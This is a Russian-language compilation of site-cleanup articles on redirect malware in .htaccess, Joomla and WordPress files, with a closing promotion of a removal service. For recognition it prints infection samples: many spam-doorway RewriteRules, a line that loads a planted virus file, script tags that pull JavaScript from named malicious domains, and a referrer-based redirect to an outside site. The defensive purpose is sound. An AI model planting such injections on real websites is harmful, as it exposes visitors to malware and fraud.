Никакой владелец сайта не захочет, чтобы траффик с его сайта уходил через редирект к неизвестным сайтам – это неинтересно как клиентам, подрывает доверие покупателей и вызывает санкции поисковых систем и антивирусов.
В данной статье я рассмотрю основные варианты встраивания вирусных редиректов.
Внимание! Удаляя редирект, Вы удаляете лишь следстствие, для того, чтобы ситуация не повторилась, Вам стоит искать причину попадания вирусов на сайт!
Кроме этого, вредоносные редиректы плохо детектируются сканерами и антивирусами, что зачастую приходится искать вручную источник зла.
В первую очередь ищем вставки кода в файлы .htaccess, особенно в корне сайта
Все что связано с Rewrite стоит проверить, куда перенаправляет.
Ниже я приведу пару вредоносных вставок – которые создают дорвеи и тысячи страниц в поиске, так называемый японский спам (сео-спам, страницы с иероглифами – тут много названий):
RewriteRule ^([^d/]+)-([0-9]+)-([0-9]+)%(.*)[0-9]+%[0-9]+%([^d/]+)[0-9]+%(.*)[0-9]+%[0-9]+%([^d/]+)[0-9]+%(.*)[0-9]+%[0-9]+%([^d/]+)([^d/]+)%(.*)[0-9]+%[0-9]+%[0-9]+%(.*)[0-9]+%[0-9]+%(.*)F%(.*)[0-9]+%(.*)[0-9]+%([^d/]+)([0-9]+)%(.*)[0-9]+%[0-9]+%[0-9]+%[0-9]+%(.*)[0-9]+%(.*)[0-9]+%([^d/]+)[0-9]+%(.*)[0-9]+%[0-9]+%[0-9]+%(.*)[0-9]+%[0-9]+%[0-9]+%(.*)[0-9]+%(.*)[0-9]+%[0-9]+%(.*)[0-9]+%([^d/]+)(.*)%(.*)[0-9]+%(.*)[0-9]+%(.*)(.*)%([^d/]+)F%(.*)[0-9]+%[0-9]+%([^d/]+)[0-9]+%(.*)[0-9]+%[0-9]+%[0-9]+([0-9]+)%(.*)[0-9]+%[0-9]+%(.*)(.*)%(.*)[0-9]+%[0-9]+%([^d/]+)[0-9]+%(.*)[0-9]+%[0-9]+%(.*)([^d/]+)%(.*)[0-9]+%(.*)[0-9]+%(.*)([0-9]+)%(.*)[0-9]+%(.*)(.*)%[0-9]+(.*)%(.*)[0-9]+%[0-9]+F%(.*)F%(.*)[0-9]+%[0-9]+%([^d/]+)([0-9]+)%(.*)[0-9]+%[0-9]+%(.*)([^d/]+)%[0-9]+/.*..*$ ?$65$39=$62&%{QUERY_STRING}[L]
RewriteRule ^([0-9]+)/([^d/]+)([0-9]+)(.*)[0-9]+%[0-9]+%[0-9]+.*-S.*-.*-F.*-([^d/]+).*-[0-9]+..*$ ?$7$1=$3&%{QUERY_STRING}[L]
RewriteRule ^([0-9]+)/([^d/]+)([0-9]+)([0-9]+)[0-9]+%[0-9]+([^d/]+)[0-9]+%[0-9]+([0-9]+)[0-9]+%[0-9]+([^d/]+)[0-9]+%[0-9]+([0-9]+)[0-9]+%[0-9]+([^d/]+)[0-9]+%[0-9]+([0-9]+)[0-9]+%[0-9]+([^d/]+)([0-9]+)%[0-9]+([0-9]+)[0-9]+%[0-9]+%[0-9]+([0-9]+)[0-9]+%[0-9]+([^d/]+)-.*-[0-9]+..*$ ?$15$1=$14&%{QUERY_STRING}[L]
RewriteRule ^([^d/]+)-([0-9]+)-([0-9]+)-[0-9]+.*[0-9]+..*$ ?$1$3=$2&%{QUERY_STRING}[L]
RewriteRule ^([0-9]+)/([^d/]+)([0-9]+).*HM[0-9]+L.*[0-9]+.*[0-9]+N.*[0-9]+YW.*[0-9]+.*[0-9]+.*([0-9]+)[0-9]+.*[0-9]+F.*W[0-9]+.*[0-9]+.*F[0-9]+ZW.*HR.*(.*)--$ ?$2$10=$3&%{QUERY_STRING}[L]
RewriteRule ^([0-9]+)/([^d/]+)([0-9]+).*[0-9]+..*$ ?$2$1=$3&%{QUERY_STRING}[L]
RewriteRule ^([0-9]+)/([^d/]+)([0-9]+).*..*$ ?$2$1=$3&%{QUERY_STRING}[L]
RewriteRule ^([0-9]+)/([^d/]+)([0-9]+).*([0-9]+).*L[0-9]+N.*YXJ.*HJ.*WF.*[0-9]+.*Y[0-9]+.*(.*).*R.*Y.*V.*[0-9]+Q.*$ ?$2$1=$4&%{QUERY_STRING}[L]
RewriteRule ^([0-9]+)/([^d/]+)([0-9]+)/$ ?$2$1=$3&%{QUERY_STRING}[L]
RewriteRule ^([0-9]+)/([^d/]+)([0-9]+).*([0-9]+).*L[0-9]+.*[0-9]+.*[0-9]+YW.*[0-9]+.*[0-9]+.*([0-9]+)[0-9]+-$ ?$2$8=$4&%{QUERY_STRING}[L]
RewriteRule ^([0-9]+)/([^d/]+)([0-9]+)(.*)%[0-9]+F%[0-9]+F.*..*%[0-9]+F.*-.*-.*-.*%[0-9]+F&.*=.*$ ?$2$1=$3&%{QUERY_STRING}[L]
RewriteRule ^([0-9]+)/([^d/]+)([0-9]+).*HM[0-9]+L.*[0-9]+.*F[0-9]+ZW.*WF.*[0-9]+.*Y[0-9]+.*(.*).*ZG[0-9]+.*ZXN[0-9]+.*WN.*ZH(.*).*$ ?$2$1=$3&%{QUERY_STRING}[L]
RewriteRule ^([0-9]+)/([^d/]+)([0-9]+)%([^d/]+)(.*)%([0-9]+)[0-9]+%[0-9]+%([0-9]+)[0-9]+%([^d/]+)([^d/]+)%([0-9]+)[0-9]+%([^d/]+)[0-9]+%([0-9]+)[0-9]+%([^d/]+)([0-9]+)%([0-9]+)[0-9]+%([^d/]+)[0-9]+%([0-9]+)[0-9]+%[0-9]+%([0-9]+)[0-9]+%([^d/]+)([0-9]+)%([0-9]+)[0-9]+%[0-9]+([^d/]+)%([0-9]+)[0-9]+%([^d/]+)[0-9]+-%([0-9]+)[0-9]+%[0-9]+%([0-9]+)[0-9]+%([^d/]+)[0-9]+%([0-9]+)[0-9]+%[0-9]+%([0-9]+)[0-9]+%([^d/]+)[0-9]+%([0-9]+)[0-9]+%([^d/]+)F%([0-9]+)[0-9]+%[0-9]+%([0-9]+)[0-9]+%[0-9]+([^d/]+)$ ?$36$1=$35&%{QUERY_STRING}[L]
RewriteRule ^([^d/]+)-([0-9]+)-([0-9]+)/[0-9]+%([0-9]+)[0-9]+%[0-9]+.*[0-9]+$ ?$1$3=$4&%{QUERY_STRING}[L]
RewriteRule ^([0-9]+)/([^d/]+)([0-9]+)(.*)%[0-9]+F%[0-9]+F.*..*%[0-9]+F.*-.*-.*-.*-.*%[0-9]+F$ ?$2$1=$3&%{QUERY_STRING}[L]
RewriteRule ^([0-9]+)/([^d/]+)([0-9]+)(.*)%[0-9]+F%[0-9]+F.*..*%[0-9]+F.*-[0-9]+-.*-.*-.*-.*-.*%[0-9]+F&.*=.*$ ?$2$1=$3&%{QUERY_STRING}[L]
RewriteRule ^([0-9]+)/([^d/]+)([0-9]+)_[0-9]+..*$ ?$2$1=$3&%{QUERY_STRING}[L]
RewriteRule ^([^d/]+)-([0-9]+)-([0-9]+)/.*-.*-[0-9]+-.*/$ ?$1$3=$2&%{QUERY_STRING}[L]
RewriteRule ^([^d/]+)-([0-9]+)-([0-9]+)/[0-9]+.*/$ ?$1$3=$2&%{QUERY_STRING}[L]
RewriteRule ^([0-9]+)/([^d/]+)([0-9]+)(.*)[0-9]+%[0-9]+%[0-9]+-.*[0-9]+..*$ ?$2$1=$3&%{QUERY_STRING}[L]
RewriteRule ^([0-9]+)/([^d/]+)([0-9]+)-.*-V.*%[0-9]+(.*)[0-9]+%[0-9]+%[0-9]+.*-S.*[0-9]+..*$ ?$2$1=$3&%{QUERY_STRING}[L]
RewriteRule ^([^d/]+)-([0-9]+)-([0-9]+)/.*-.*-[0-9]+/$ ?$1$3=$2&%{QUERY_STRING}[L]
RewriteRule ^([0-9]+)/([^d/]+)([0-9]+)-[0-9]+..*$ ?$2$1=$3&%{QUERY_STRING}[L]
RewriteRule ^([0-9]+)/([^d/]+)([0-9]+)..*&.*=.*:/.*-[0-9]+..*/.*-.*-.*-.*-.*-.*/&.*=[0-9]+K([^d/]+)&.*=%([0-9]+)[0-9]+%(.*)[0-9]+%([0-9]+)[0-9]+%([^d/]+)(.*)%([0-9]+)[0-9]+%[0-9]+%([0-9]+)[0-9]+%([^d/]+)(.*)+%([0-9]+)[0-9]+%([^d/]+)[0-9]+%([0-9]+)[0-9]+%([^d/]+)([0-9]+)%([0-9]+)[0-9]+%[0-9]+%([0-9]+)[0-9]+%([^d/]+)[0-9]+%([0-9]+)[0-9]+%[0-9]+%([0-9]+)[0-9]+%[0-9]+([0-9]+)%([0-9]+)[0-9]+%([^d/]+)[0-9]+%([0-9]+)[0-9]+%[0-9]+%([0-9]+)[0-9]+%([^d/]+)[0-9]++%([0-9]+)[0-9]+%[0-9]++%([0-9]+)[0-9]+%([^d/]+)[0-9]+%([0-9]+)[0-9]+%([^d/]+)[0-9]+%([0-9]+)[0-9]+%([^d/]+)[0-9]+%([0-9]+)[0-9]+%([^d/]+)[0-9]+%([0-9]+)[0-9]+%([^d/]+)([0-9]+)%([0-9]+)[0-9]+%([^d/]+)[0-9]+%([0-9]+)[0-9]+%([^d/]+)([0-9]+)%([0-9]+)[0-9]+%([^d/]+)[0-9]++%([0-9]+)[0-9]+%([^d/]+)[0-9]++%([0-9]+)[0-9]+%([^d/]+)F%([0-9]+)[0-9]+%([^d/]+)(.*)%([0-9]+)[0-9]+%([^d/]+)[0-9]+%([0-9]+)[0-9]+%[0-9]+%([0-9]+)[0-9]+%[0-9]+%([0-9]+)[0-9]+%([^d/]+)(.*)%([0-9]+)[0-9]+%([^d/]+)[0-9]+%([0-9]+)[0-9]+%([^d/]+)([0-9]+)%([0-9]+)[0-9]+%([^d/]+)[0-9]+&.*=[0-9]+&.*=[0-9]+&.*=[0-9]+&.*=.*:/.*[0-9]+..*..*..*/.*?.*=OIP.(.*).*U.*[0-9]+.*([0-9]+).*U.*[0-9]+.*[0-9]+V[0-9]+.*Q(.*).*([0-9]+).*&.*=[0-9]+.[0-9]+&.*=[0-9]+&.*=[0-9]+&.*=[0-9]+&.*=[0-9]+&.*=[0-9]+&.*=%([0-9]+)[0-9]+%(.*)[0-9]+%([0-9]+)[0-9]+%([^d/]+)(.*)%([0-9]+)[0-9]+%[0-9]+%([0-9]+)[0-9]+%([^d/]+)(.*)+%([0-9]+)[0-9]+%([^d/]+)[0-9]+%([0-9]+)[0-9]+%([^d/]+)([0-9]+)%([0-9]+)[0-9]+%[0-9]+%([0-9]+)[0-9]+%([^d/]+)[0-9]+%([0-9]+)[0-9]+%[0-9]+%([0-9]+)[0-9]+%[0-9]+([0-9]+)%([0-9]+)[0-9]+%([^d/]+)[0-9]+%([0-9]+)[0-9]+%[0-9]+%([0-9]+)[0-9]+%([^d/]+)[0-9]++%([0-9]+)[0-9]+%[0-9]++%([0-9]+)[0-9]+%([^d/]+)[0-9]+%([0-9]+)[0-9]+%([^d/]+)[0-9]+%([0-9]+)[0-9]+%([^d/]+)[0-9]+%([0-9]+)[0-9]+%([^d/]+)[0-9]+%([0-9]+)[0-9]+%([^d/]+)([0-9]+)%([0-9]+)[0-9]+%([^d/]+)[0-9]+%([0-9]+)[0-9]+%([^d/]+)([0-9]+)%([0-9]+)[0-9]+%([^d/]+)[0-9]++%([0-9]+)[0-9]+%([^d/]+)[0-9]++%([0-9]+)[0-9]+%([^d/]+)F%([0-9]+)[0-9]+%([^d/]+)(.*)%([0-9]+)[0-9]+%([^d/]+)[0-9]+%([0-9]+)[0-9]+%[0-9]+%([0-9]+)[0-9]+%[0-9]+%([0-9]+)[0-9]+%([^d/]+)(.*)%([0-9]+)[0-9]+%([^d/]+)[0-9]+%([0-9]+)[0-9]+%([^d/]+)([0-9]+)%([0-9]+)[0-9]+%([^d/]+)[0-9]+&.*=[0-9]+.*[0-9]+.*&.*=[0-9]+.*[0-9]+.*&.*=[0-9]+.*[0-9]+.*&.*=[0-9]+.*[0-9]+.*[0-9]+.*&.*=[0-9]+.*[0-9]+.*[0-9]+.*$ ?$148$146=$147&%{QUERY_STRING}[L]
RewriteRule ^([0-9]+)/([^d/]+)([0-9]+)%([^d/]+)[0-9]+%([0-9]+)[0-9]+%([^d/]+)[0-9]+%([0-9]+)[0-9]+%([^d/]+)[0-9]+%([0-9]+)[0-9]+%[0-9]+%([0-9]+)[0-9]+%[0-9]+([^d/]+)&.*=[0-9]+&.*=[0-9]+$ ?$11$1=$10&%{QUERY_STRING}[L]
RewriteRule ^([0-9]+)/([^d/]+)([0-9]+)%.*%.*[0-9]+%[0-9]+%.*[0-9]+%.*%.*[0-9]+%.*[0-9]+%.*[0-9]+%.*%.*[0-9]+%.*[0-9]+%.*[0-9]+%[0-9]+%.*[0-9]+%.*%.*[0-9]+%[0-9]+.*%.*[0-9]+%.*[0-9]+-%.*[0-9]+%[0-9]+%.*[0-9]+%.*[0-9]+%.*[0-9]+%[0-9]+%.*[0-9]+%.*[0-9]+%.*[0-9]+%.*%.*[0-9]+%[0-9]+%.*[0-9]+%[0-9]+.*/$ ?$2$1=$3&%{QUERY_STRING}[L]
RewriteRule ^([0-9]+)/([^d/]+)([0-9]+)%.*%.*[0-9]+%.*%.*[0-9]+%.*[0-9]+%.*[0-9]+%.*%.*[0-9]+%[0-9]+.*/$ ?$2$1=$3&%{QUERY_STRING}[L]
RewriteRule ^([^d/]+)-([0-9]+)-([0-9]+)$ ?$1$3=$2&%{QUERY_STRING}[L]
RewriteRule ^([0-9]+)/([^d/]+)([0-9]+)/.*-.*/[0-9]+/.*$ ?$2$1=$3&%{QUERY_STRING}[L]
RewriteRule ^([0-9]+)/([^d/]+)([0-9]+)%([^d/]+)(.*)%([0-9]+)[0-9]+%[0-9]+%([0-9]+)[0-9]+%([^d/]+)([^d/]+)%([0-9]+)[0-9]+%([^d/]+)[0-9]+%([0-9]+)[0-9]+%([^d/]+)([0-9]+)%([0-9]+)[0-9]+%([^d/]+)[0-9]+%([0-9]+)[0-9]+%[0-9]+%([0-9]+)[0-9]+%([^d/]+)([0-9]+)%([0-9]+)[0-9]+%[0-9]+([^d/]+)%([0-9]+)[0-9]+%([^d/]+)[0-9]+-%([0-9]+)[0-9]+%[0-9]+%([0-9]+)[0-9]+%([^d/]+)[0-9]+%([0-9]+)[0-9]+%[0-9]+%([0-9]+)[0-9]+%([^d/]+)[0-9]+%([0-9]+)[0-9]+%([^d/]+)F%([0-9]+)[0-9]+%[0-9]+%([0-9]+)[0-9]+%[0-9]+([^d/]+)/.*/[0-9]+/$ ?$36$1=$35&%{QUERY_STRING}[L]
RewriteRule ^([^d/]+)-([0-9]+)-([0-9]+)/[0-9]+%([0-9]+)[0-9]+%[0-9]+.*[0-9]+/$ ?$1$3=$4&%{QUERY_STRING}[L]
RewriteRule ^([0-9]+)/([^d/]+)([0-9]+)%([^d/]+)F%([0-9]+)[0-9]+%[0-9]+%([0-9]+)[0-9]+%([^d/]+)[0-9]+%([0-9]+)[0-9]+%([^d/]+)[0-9]+%([0-9]+)[0-9]+%([^d/]+)([0-9]+)%([0-9]+)[0-9]+%([^d/]+)(.*)%([0-9]+)[0-9]+%([^d/]+)[0-9]+%([0-9]+)[0-9]+%([^d/]+)(.*)%([0-9]+)[0-9]+%([^d/]+)[0-9]+%([0-9]+)[0-9]+%([^d/]+)(.*)%([0-9]+)[0-9]+%([^d/]+)[0-9]+%([0-9]+)[0-9]+%([^d/]+)([0-9]+)%([0-9]+)[0-9]+%([^d/]+)[0-9]+%([0-9]+)[0-9]+%([^d/]+)[0-9]+%[0-9]+%([0-9]+)[0-9]+%([^d/]+)([0-9]+)%([0-9]+)[0-9]+%([^d/]+)[0-9]+%([0-9]+)[0-9]+%[0-9]+%([0-9]+)[0-9]+%([^d/]+)[0-9]+%([0-9]+)[0-9]+%[0-9]+%([0-9]+)[0-9]+%([^d/]+)(.*)%([0-9]+)[0-9]+%([^d/]+)([0-9]+)&.*=-[0-9]+&.*=-[0-9]+$ ?$49$38=$50&%{QUERY_STRING}[L]
RewriteRule ^([^d/]+)-([0-9]+)-([0-9]+)/.*-.*-.*-.*/$ ?$1$3=$2&%{QUERY_STRING}[L]
RewriteRule ^([^d/]+)-([0-9]+)-([0-9]+)/.*[0-9]+/$ ?$1$3=$2&%{QUERY_STRING}[L]
RewriteRule ^([0-9]+)/([^d/]+)([0-9]+)%([^d/]+)F%([0-9]+)[0-9]+%[0-9]+%([0-9]+)[0-9]+%([^d/]+)[0-9]+%([0-9]+)[0-9]+%([^d/]+)[0-9]+%([0-9]+)[0-9]+%([^d/]+)([0-9]+)%([0-9]+)[0-9]+%([^d/]+)(.*)%([0-9]+)[0-9]+%([^d/]+)[0-9]+%([0-9]+)[0-9]+%([^d/]+)(.*)%([0-9]+)[0-9]+%([^d/]+)[0-9]+%([0-9]+)[0-9]+%([^d/]+)(.*)%([0-9]+)[0-9]+%([^d/]+)[0-9]+%([0-9]+)[0-9]+%([^d/]+)([0-9]+)%([0-9]+)[0-9]+%([^d/]+)[0-9]+%([0-9]+)[0-9]+%([^d/]+)[0-9]++%([0-9]+)[0-9]+%([^d/]+)([0-9]+)%([0-9]+)[0-9]+%([^d/]+)[0-9]+%([0-9]+)[0-9]+%[0-9]+%([0-9]+)[0-9]+%([^d/]+)[0-9]+%([0-9]+)[0-9]+%[0-9]+%([0-9]+)[0-9]+%([^d/]+)(.*)%([0-9]+)[0-9]+%([^d/]+)([0-9]+)&.*=-[0-9]+&.*=-[0-9]+$ ?$49$38=$50&%{QUERY_STRING}[L]
RewriteRule ^([^d/]+)-([0-9]+)-([0-9]+)/[0-9]+.*[0-9]+/$ ?$1$3=$2&%{QUERY_STRING}[L]
RewriteRule ^([0-9]+)/([^d/]+)([0-9]+)..*$ ?$2$1=$3&%{QUERY_STRING}[L]
RewriteRule ^([^d/]+)-([0-9]+)-([0-9]+)/.*/$ ?$1$3=$2&%{QUERY_STRING}[L]
RewriteRule ^([0-9]+)/([^d/]+)([0-9]+)%.*%.*[0-9]+%[0-9]+%.*[0-9]+%.*%.*[0-9]+%.*[0-9]+%.*[0-9]+%.*%.*[0-9]+%.*[0-9]+%.*[0-9]+%[0-9]+%.*[0-9]+%.*%.*[0-9]+%[0-9]+.*%.*[0-9]+%.*[0-9]+-%.*[0-9]+%[0-9]+%.*[0-9]+%.*[0-9]+%.*[0-9]+%[0-9]+%.*[0-9]+%.*[0-9]+%.*[0-9]+%.*%.*[0-9]+%[0-9]+%.*[0-9]+%[0-9]+.*/.*/[0-9]+/$ ?$2$1=$3&%{QUERY_STRING}[L]
RewriteRule ^([0-9]+)/([^d/]+)([0-9]+)&.*=-[0-9]+$ ?$2$1=$3&%{QUERY_STRING}[L]
RewriteRule ^([0-9]+)/([^d/]+)([0-9]+)&.*=[0-9]+$ ?$2$1=$3&%{QUERY_STRING}[L]
RewriteRule ^([^d/]+)-([0-9]+)-([0-9]+)/[0-9]+%([0-9]+)[0-9]+%[0-9]+.*/$ ?$1$3=$4&%{QUERY_STRING}[L]
RewriteRule ^([0-9]+)/([^d/]+)([0-9]+)(.*)[0-9]+%[0-9]+%[0-9]+.*-S.*..*$ ?$2$1=$3&%{QUERY_STRING}[L]
RewriteRule ^([^d/]+)-([0-9]+)-([0-9]+)..*$ ?$1$3=$2&%{QUERY_STRING}[L]
RewriteRule ^([0-9]+)/([^d/]+)([0-9]+)%([^d/]+)(.*)%([0-9]+)[0-9]+%([^d/]+)([^d/]+)%([0-9]+)[0-9]+%([^d/]+)[0-9]+%([0-9]+)[0-9]+%([^d/]+)F%([0-9]+)[0-9]+%[0-9]+([^d/]+)/$ ?$15$1=$14&%{QUERY_STRING}[L]
RewriteRule ^([0-9]+)/([^d/]+)([0-9]+)%([^d/]+)(.*)%([0-9]+)[0-9]+%[0-9]+%([0-9]+)[0-9]+%([^d/]+)([^d/]+)%([0-9]+)[0-9]+%([^d/]+)[0-9]+%([0-9]+)[0-9]+%([^d/]+)([0-9]+)%([0-9]+)[0-9]+%([^d/]+)[0-9]+%([0-9]+)[0-9]+%[0-9]+%([0-9]+)[0-9]+%([^d/]+)([0-9]+)%([0-9]+)[0-9]+%[0-9]+([^d/]+)%([0-9]+)[0-9]+%([^d/]+)[0-9]+-%([0-9]+)[0-9]+%[0-9]+%([0-9]+)[0-9]+%([^d/]+)[0-9]+%([0-9]+)[0-9]+%[0-9]+%([0-9]+)[0-9]+%([^d/]+)[0-9]+%([0-9]+)[0-9]+%([^d/]+)F%([0-9]+)[0-9]+%[0-9]+%([0-9]+)[0-9]+%[0-9]+([^d/]+)/$ ?$36$1=$35&%{QUERY_STRING}[L]
RewriteRule ^([^d/]+)-([0-9]+)-([0-9]+)/$ ?$1$3=$2&%{QUERY_STRING}[L]
RewriteRule ^([0-9]+)/([^d/]+)([0-9]+)$ ?$2$1=$3&%{QUERY_STRING}[L]
RewriteRule ^([^d/]+)-([0-9]+)-([0-9]+)-[0-9]+/$ ?$1$3=$2&%{QUERY_STRING}[L]
RewriteRule ^([^d/]+)-([0-9]+)-([0-9]+)-.*/?.*=[0-9]+$ ?$1$3=$2&%{QUERY_STRING}[L]
RewriteRule ^([^d/]+)-([0-9]+)-([0-9]+)-.*/$ ?$1$3=$2&%{QUERY_STRING}[L]
Если увидите что-то подобное – смело можно удалять, если сомневаетесь, какие строки можно оставить, то возьмите стандартный файл вашей CMS – там не будет находиться вирус!
Обычно редиректы прописывают для запросов с мобильных и планшетов:
android|plucker|pocket|psp|symbian|treo|vodafone|wap и другие вариации мобильных заголовков
как и для переходов с поисковых систем:
yandex|google|mail|rambler|vk.com
Если этот пункт не помог, то стоит обратить внимание на код страницы – порой часто редирект добавляют через Javascript
Чтобы избавиться от вредоносного кода может понадобиться массовая замена всех .js файлов.
Обязательно проверяйте индексные файлы и папку шаблона – это излюбленные места хакеров для вирусов. Особенно тщательно пройдитесь по файлам index.php, footer.php, head.php, header.php – в последнее время популярно стало размещать сами вирусы не в них, а в виде ссылок. Поэтому внимательно проверяйте, какие файлы подгружаются посредством команд include и require.
Самые изощренные вставки делаются уже в подгружаемые модули, плагины и компоненты. Это могут быть как отдельно внедренные модули (особенно если была взломана админка), так и просто вставки зашифрованного кода в файлы известных и популярных расширений.
К примеру, в последнее время встречаю не один сайт на джумле ( в частности на Joomla 2.5), где по пути includes/inc.class.php находится сам вирус, а в файл application.php в этой же папке вставлена следующая строка
require_once($_SERVER["DOCUMENT_ROOT"]."/includes/inc.class.php");
Обычно параллельно с этим libraries/joomla/appplication находится вирус редиректа с именем joomla-app.php
В любом случае, если заметили на сайте перенаправление на сторонний сайт, то обязательно стоит предпринять меры безопасности и проверять весь сайт. Если сами не можете справитья, то обязательно стоит обратиться к специалистам по удалению вирусов и защите сайтов.
-
1.
Список популярных вредоносных сайтов, которыми заражаются WordPress сайты: -
2.
Почему WordPress сайт заражается вирусом редиректа? -
3.
Как удалить вирус редиректа с WordPress сайта -
4.
Как удалить вирус редиректа при открытии сайта
Если ваш WordPress сайт взломали и при его открытии происходит редирект на другой сайт, то эта статья для вас. Мы расскажем, как удалить вирус редиректа на WordPress сайте.
На данный момент, вирус редиректа перенаправляет посетителей зараженного WordPress сайта на directednotconverted.ml, lowerbeforwarden.ml, donatelloflowfirstly.ga. Давайте разберемся и удалим это вредоносное перенаправление с вашего сайта.
Данный тип вредоносного ПО вставляет JavaScropt-редирект на каждую страницу и запись сайта. Поэтому, когда посетители заходят на вашу главную страницу или любую другую, они перенаправляются на вредоносный сайт с помощью JavaScript.
- source.lowerbeforwarden.ml.
- scripts.lowerbeforwarden.ml.
- donatelloflowfirstly.ga.
- js.donatelloflowfirstly.ga.
- Source.lowerbeforwarden.ml.
- 0.directednotconverted.ml.
- go.donatelloflowfirstly.ga.
Почему WordPress сайт заражается вирусом редиректа?
Все мы знаем, что WordPress – это самая популярная CMS для ведения блогов. Именно поэтому, WP интересен взломщикам, чтобы распространять свои вирусы и получать из этого выгоду.
Зачастую, вирус на сайт попадает, если вы пользуетесь не лицензионным, взломанным (Nulled) программным обеспечением. Это могут быть плагины, в которых открыт расширенный функционал, либо премиум шаблоны, которые отвязаны от лицензии.
Если вы установили тему из не проверенного источника, то воспользуйтесь плагином проверки на вирусы TOC.
Но вирусы могут попасть на ваш сайт не только из взломанных плагинов или тем. Хакерам также интересны уязвимости в популярных плагинах, ведь их используют миллионы пользователей по всему миру.
Например, недавно была обнаружена уязвимость в плагине WordFence. Да-да, в том плагине, который включает в себя функции защитника от спама, вирусов и атак. Хакеры воспользовались этой уязвимостью и на миллионы сайтов получили вирус с редиректом на другие вредоносные веб-сайты.
Именно поэтому мы рекомендуем всегда обновляться до актуальной версии WordPress, использовать последнии версии плагинов и шаблонов.
Как удалить вирус редиректа с WordPress сайта
Первое, что нужно сделать, это подключиться к своему сайту по FTP или зайди в файловый менеджер на вашем хостинге. Перейдите в папку public_html вашего сайта. Если вы найдете файлы с именами _a , _f , _s, то удалите их, это вредоносное ПО.
Проверьте папку с плагинами и темами, если вы найдете какой-либо неизвестный файл PHP или JavaScript, то удалите этот файл.
Откройте файл index.php, такой файл может находиться в /wp-content/plugins/index.php или public_html/index.php. Найдите в этом файле такой код <script src = ‘*****’ type = ‘text / javascript’> </script>.
Пример:
<script src='https://scripts.lowerbeforwarden.m/src.js?n=n' type='text/javascript'></script>
<script src='https://js.donatelloflowfirstly.g/statistics.js?n=n' type='text/javascript'></script>
Удалите этот код, если вы его найдете. Вы также можете найти этот код в конце каждой вашей страницы или поста в редакторе записей в админке сайта. Также этот код может находиться в шаблонах записей, страниц и index.php.
Откройте phpMyAdmin и выберите свою базу данных. Откройте таблицу wp_post. Отредактируйте любой пост и посмотрите, есть ли этот скрипт или нет.
Чтобы удалить вредоносный код из всех записей на сайте, вам нужно открыть phpMyAdmin и выбрать имя своей базы данных. Далее запустите SQL-запрос, чтобы удалить вредоносный кусок кода. В нашем случае мы нашли 2 вредоносных скрипта:
<script src='https://scripts.lowerbeforwarden.ml/src.js?n=ns125' type='text/javascript'></script> <script src='https://js.donatelloflowfirstly.ga/statistics.js?n=ns125' type='text/javascript'></script>
Чтобы удалить lowerbeforwarden.ml
UPDATE wp_posts SET post_content = (REPLACE (post_content, "<script src='https://scripts. lowerbeforwarden.ml/src.js?n=ns125' type='text/javascript'></script>", ""));
Чтобы удалить js.donatelloflowfirstly.ga
UPDATE wp_posts SET post_content = (REPLACE (post_content, "<script src='https://js.donatelloflowfirstly.ga/stat.js?n=ns125' type='text/javascript'></script>", ""));
Если вы нашли вредоносный скрипт в вашей записи, то составьте такой же запрос, только замените часть SQL-запроса под нужный вам.
UPDATE wp_posts SET post_content = (REPLACE (post_content, "Вставьте сюда вредоносный скрипт", ""));
Этот запрос будет работать для всех вредоносный запросов. Просто адаптируйте его под себя.
Как удалить вирус редиректа при открытии сайта
Также вирусы с редиректом часто заменяют адрес домашней страницы. Это делают следующие вредоносные сайты:
- donatelloflowfirstly.ga
- 0.directednotconverted.ml
Чтобы это исправить, вам нужно отредактировать поля siteurl и home в таблице wp_options вашей базы данных. Убедитесь, что в этих полях указан адрес вашего домене.
Например, вы можете увидеть на скриншоте ниже, как вредоносный код на сайте заменил адрес сайта и вписал туда адрес вирусного скрипта. Если вы увидите такой скрипт у себя в базе данных – удаляйте его и вписывайте свой адрес сайта.
https://js.donatelloflowfirstly.ga/statistics.js?n=ns2
Проделав все эти действия, вы сможете удалить вирусы directednotconverted.ml и lowerbeforwarden.ml с вашего WordPress сайта.
За основу данной статьи взят данный материал – https://crazytechgo.com.
Мы часто видим, как многие пользователи задают нам вопросы по поводу непонятный редиректов на их WordPress сайте. Надеемся, что эта статья помогла вам и в будущем вы больше не столкнетесь с данной проблемой.
Если вы нашли ошибку, пожалуйста, выделите фрагмент текста и нажмите Ctrl+Enter.
Как обезвредить вирус редирект на сайте
Вирусдай позволяет удалить вирус-редирект с вашего сайта. Редирект – это перенаправление пользователя на сторонний сайт при попытке просмотра страниц исходного сайта. Обычно такие редиректы перенаправляют пользователей на сайты, откуда происходит распространение вредоносного или мошеннического ПО (например, под видом обновления к веб-браузеру). Загрузка и установка таких программ может привести к заражению компьютера или вашего мобильного устройства.
В большинстве случаев, вредоносный код прописывается в файле .htaccess, лежащем в корне вашего сайта. Вредоносный код, часто выглядит следующим образом:
RewriteEngine On
RewriteCond %{HTTP_REFERER} .*yandex.* [OR]
RewriteCond %{HTTP_REFERER} .*google.* [OR]
RewriteCond %{HTTP_REFERER} .*bing.* [OR]
RewriteRule ^(.*)$ http://maliciouswebsite.net/index.php?t=6 [R=301,L]
Такие правила редиректа будут перенаправлять пользователей с поисковых систем Яндекс, Гугл и Бинг на сайт maliciouswebsite.net.
Часто распространены мобильные редиректы, влияющие только на пользователей, посещающих ваш ресурс с мобильных устройств.
Лечение от вируса
Мы рекомендуем воспользоваться сервисом Вирусдай, умеющим автоматически находить и удалять вредоносные редиректы. Если вы хотите произвести удаление вручную — инструкции следующие:
1. Установите соединение со своим сайтом через файл-менеджер по FTP
2. Найдите файл .htaccess в корневом каталоге сайта
3. Удалите вредоносный код и сохраните файл
Теперь, когда редирект удален, вы, казалось бы, можете вздохнуть спокойно, однако, вы не знаете как и кем он был помещен в ваш файл и уж точно не знаете повторится ли это снова, однако, вы явно подозреваете, что да. Осталось постараться найти уязвимость, через которую лоумышленникам удалось проникнуть в файлы вашего сайта. Вирусдай может находить и уничтожать шеллы, дающие злоумышленникам полный доступ к вашим файлам.
Вирус редирект в PHP-файлах
Есть разновидности редиректов, которые любят прописываться не только в самом файле .htaccess, но также, легко позволяют себе прописаться во множестве (сотни или тысячи файлов) PHP файлов. В явном виде вы не сможете обнаружить такую вредоносную строку в файлах, однако, при запуске любого из PHP файлов редирект на вашем сайте будет снова возникать. Для полного устранения вирусда редиректа рекомендуем использовать сервис Вирусдай. Вирусдай обнаруживает и удаляет редиректы в .htaccess и файлах *.php.
Команда сервиса Вирусдай.
Информация о редирект-заражении CMS WordPress
Заражение сайта характеризуется следующими признаками:
